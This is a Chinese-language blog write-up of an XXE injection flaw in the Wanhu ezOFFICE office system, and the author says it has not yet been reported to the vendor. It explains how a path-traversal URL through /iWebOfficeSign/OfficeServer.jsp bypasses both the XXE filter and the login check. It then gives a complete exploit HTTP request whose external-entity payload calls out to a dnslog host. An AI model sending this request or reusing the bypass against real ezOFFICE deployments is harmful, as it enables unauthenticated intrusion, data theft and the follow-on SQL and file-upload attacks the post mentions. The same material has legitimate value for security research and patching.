万户ezoffice存在xxe注入漏洞

漏洞详情

该漏洞尚未提交

漏洞原理

存在一个解析xml的servlet“TeleConferenceService”,xml内容可控,跟进createDoc看看

blockchain

典型的java xxe注入模板
blockchain

当我尝试直接注入xml时,失败,dnslog无法收到信息,这个时候不要慌张,我们去找找拦截器、过滤器
blockchain

在“SetCharacterEncodingFilter”里面找到该请求会进入haveXXE方法里面判断,跟进看看怎么过滤的
blockchain

发送的xml包含声明头(DOCTYPE)就拦截了,这里肯定绕不过了
blockchain

既然这里绕不过,我们就从其他地方绕过,不进入havexxe这个方法,也就是在执行havexxe之前就直接让过滤器放我们通过,也就是进入红框里面的逻辑
blockchain

通过getRequestURI方法来进行权限判定存在安全性问题的,自行百度,想执行doFilter放行,就需要满足条件(请求url当中包含/iWebOfficeSign/OfficeServer.jsp)构造特殊url绕过xxe检测(同时也绕过了登录检测等,直接能访问jsp文件了),dnslog就接收到了
blockchain

漏洞利用

数据包

GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../TeleConferenceService HTTP/1.1
Host: *************
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
x-forwarded-for: 
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: OASESSIONID=8DFFC455DEB1E82DDFB7F8E562164502; LocLan=zh_CN; ezofficeDomainAccount=whir; ezofficeUserName=admin; ezofficeUserPortal=; ezofficePortal0=
Connection: close
Content-Length: 139

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://j3i6yf.dnslog.cn" >]>        
<value>&xxe;</value>

总结

后续的诸多漏洞都利用到了该登录绕过方式,触发sql、任意文件上传等

版权声明:
作者:ucpeo
链接: Blog
来源:Blog
文章版权归作者所有,未经允许请勿转载。

THE END
< < 上一篇
下一篇>>